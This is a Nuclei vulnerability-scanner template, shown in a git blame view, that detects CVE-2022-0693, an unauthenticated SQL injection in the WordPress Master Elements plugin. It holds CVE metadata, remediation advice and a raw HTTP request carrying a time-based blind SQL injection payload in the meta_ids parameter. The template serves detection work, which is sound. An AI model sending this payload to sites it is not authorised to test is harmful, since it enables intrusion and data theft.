nuclei-templates/http/cves/2022/CVE-2022-0693.yaml

47 lines
2.2 KiB
YAML
Raw Normal View History

2023-03-05 13:42:10 +00:00
id: CVE-2022-0693
info:
name: WordPress Master Elements <=8.0 - SQL Injection
2023-03-05 13:42:10 +00:00
author: theamanrawat
severity: critical
description: |
WordPress Master Elements plugin through 8.0 contains a SQL injection vulnerability. The plugin does not validate and escape the meta_ids parameter of its remove_post_meta_condition AJAX action, available to both unauthenticated and authenticated users, before using it in a SQL statement. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
2023-09-27 15:51:13 +00:00
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or further compromise of the WordPress site.
2023-09-06 11:59:08 +00:00
remediation: |
Update to the latest version of WordPress Master Elements plugin (>=8.1) to mitigate the SQL Injection vulnerability.
2023-03-05 13:42:10 +00:00
reference:
- https://wpscan.com/vulnerability/a72bf075-fd4b-4aa5-b4a4-5f62a0620643
- https://wordpress.org/plugins/master-elements
- https://nvd.nist.gov/vuln/detail/CVE-2022-0693
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-0693
cwe-id: CWE-89
epss-score: 0.01757
epss-percentile: 0.86579
2023-09-06 11:59:08 +00:00
cpe: cpe:2.3:a:devbunch:master_elements:*:*:*:*:*:wordpress:*:*
2023-03-05 13:42:10 +00:00
metadata:
2023-06-04 08:13:42 +00:00
verified: true
2023-09-06 11:59:08 +00:00
max-request: 1
2023-07-11 19:49:27 +00:00
vendor: devbunch
product: master_elements
2023-09-06 11:59:08 +00:00
framework: wordpress
2023-12-05 09:50:33 +00:00
tags: unauth,wpscan,wp-plugin,wp,sqli,wordpress,master-elements,cve,cve2022,devbunch
2023-03-05 13:42:10 +00:00
http:
2023-03-05 13:42:10 +00:00
- raw:
- |
@timeout: 10s
GET /wp-admin/admin-ajax.php?meta_ids=1+AND+(SELECT+3066+FROM+(SELECT(SLEEP(6)))CEHy)&action=remove_post_meta_condition HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'duration>=6'
- 'status_code == 200'
- 'contains(body, "Post Meta Setting Deleted Successfully")'
condition: and
# digest: 490a0046304402201afe8dca57c55e006f05555b066cd1dada54a87c437ea23736ad968b8ff4f996022073dfe996b8276631e113e4ca0a0a6392603b71f0a2f9a2c2a1d9ea902bdd6f11:922c64590222798bb761d5b6d8e72950